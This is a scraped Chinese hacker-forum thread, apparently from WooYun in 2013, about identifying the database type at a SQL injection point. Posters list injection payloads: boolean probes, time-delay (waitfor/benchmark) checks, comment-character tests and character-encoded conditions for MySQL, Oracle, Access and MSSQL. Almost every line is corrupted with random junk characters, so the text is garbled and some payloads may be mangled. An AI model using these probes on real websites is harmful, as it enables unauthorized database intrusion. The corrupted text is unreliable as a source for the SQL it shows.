一个注射点如何最快速确认是什么类型数据库2 v$ N2 |/ `- z# i+ M" Y2 M9 z3 Y
xsser (十根阳具有长短!!) | 2013-02-05 12:360 X& e4 S. {) r+ o1 q1 O
假设这么一个注射点:
2 k$ k; h3 B: u* f- |8 K+ u# r/ Qshow.html?id=2
7 W5 V2 ~# q; c; N. X; Vmysql:id=2 and version()>0
; {% j9 D0 K5 c$ D0 z8 O6 coracle:id=2 and '1'||'1'='11
# `! Z' i9 S& q9 X其他的欢迎补充* q$ G8 f3 @1 l2 p) a6 F
1#1 Y1 c# d7 X4 e. `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:475 |+ ~( d C. @4 g
Access:) A, @+ z* t; V- \0 d
aNd aSc(cHr(97))=97: W0 d7 l$ k+ x) M
and exists(select id from MSysAccessObjects)
% v, a' y/ c" VSQL Server:
' X5 _, Z' S( Y" H$ C+ a# _and exists(select id from sysobjects) ^+ b, T; ~4 ?9 }3 R6 @
and length(user)>0
0 x3 b- x7 o( d' i. G$ Q: ]MySQL:
9 ]4 U, P2 @. S- sand length(user())>03 A2 J9 _3 y8 l7 ~+ ^; T' F% A
2#: j2 z2 P8 E( `6 u, F6 ^* u
xsser (十根阳具有长短!!) | 2013-02-05 12:48
, Y! N9 p" ]. w- J( m" O! a@upload 如果这些都不是呢…
$ k# P# n4 z g( \ W4 e3#
* L; }, e7 r* Q% b" Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:031 _$ e# E0 Y% k% i% w
@xsser 不快速的,延时注入# d( `' ]& b- E. Y! | {
不知道这样写对不对
& F. J6 k: d5 n$ y% Jmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'( z& W" [7 x }, w5 W
mysql:id=2 and select benchmark(1e8,current_date());
! }. }- d: H/ o4#
/ _5 f% L7 R7 a& a: mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10' b7 p! U1 X2 o: k
最快的貌似是看报错信息2 F4 ^* S- C# e3 K3 M; s
oracle error
1 B4 m$ q0 e2 @8 Qmssql error: _$ a, G5 b$ l' i
mysql error8 \. z& ~, J. t {
5#
2 l0 z# J& Z0 W5 H0 p7 l' {Nimda (你们都是坏银~) | 2013-02-05 13:14* \' i5 I2 q3 R- ?: E) Q: `
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
+ H7 O7 [* I' H! f6#$ `* S3 p% ~# i
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
+ T$ @8 r( i' n" A, R“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:! C0 Q, C7 ^- n6 k
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:# v4 i7 q$ z4 }$ h
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。6 M B" m/ K& `$ O- o/ O4 N# a5 ?1 B" v
7# g- ] S, I7 k# O3 q }' N+ i$ u
_Evil (HackEnd) | 2013-02-05 13:33
# Q4 `; @% C9 r7 i9 NPostgreSQL/ s4 U! X6 C, O# O- {5 t% m4 d1 u
8#" | t/ v9 ?2 C4 e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:421 Q2 R$ F8 n- ~3 I
切换编码 and 1=1( q' D( @* C3 x6 M- Q5 x6 g, r
oracle:5 o- y. M, L1 q7 ~0 @& L7 @$ L
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
; J' r# O/ U3 o& h0 b" emssql:
: ^+ Q' E% D( C6 T" ]5 M/ @CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)+ s) }$ b$ H K1 y) l2 P
mysql:3 u) d$ q7 z, z4 Y
CHAR(97, 110, 100, 32, 49, 61, 49)
4 C3 |1 c) v* ]5 b3 B7 F9#6 o) E) J5 p( r+ g6 e2 h2 J) I
xsser (十根阳具有长短!!) | 2013-02-05 14:31
& @- p. X. Z: T$ K' t/ {@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
, N7 h" C/ R3 `& L Q10#
( n; p% _- H5 G4 hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:463 S( Q/ t0 r) u
@xsser 是奇葩数据库类型的么?1 |- s h; R$ x$ b
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:0 Z! I# [# X6 U2 x* I! L! R7 ~5 @
1.是否可以使用特定的函数来判断,该数据库特有的5 t3 d3 |+ N1 l3 f/ G9 O" F* q
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 u# U$ b% L' p! F- E1 K5 \3.是否可以编码查询0 g/ R8 c7 r! V% x( O0 [' E
4.是否显可以利用错信息! _+ z3 [1 x6 W$ @) a. ?5 ~
5.是否存在数据库某些特性辅助判断
9 [+ ?$ x5 b( ^* o C, [4 }8 D个人见解9 T6 R3 G/ R, d. a5 o
11#, l- Z; f9 C5 M% C0 g/ k8 w% A0 F
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
# X0 y/ q4 F: s) L已收藏,mssql可以直接看到错误提示的吧~
1 r4 p1 Q! W3 E12#$ `5 g, W2 l/ G- `; s* r
Passer_by | 2013-02-05 15:09 d4 \9 O. {0 K% J
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
0 z) P& q- F2 u% S# i- bfrom:http://zone.wooyun.org/content/260 |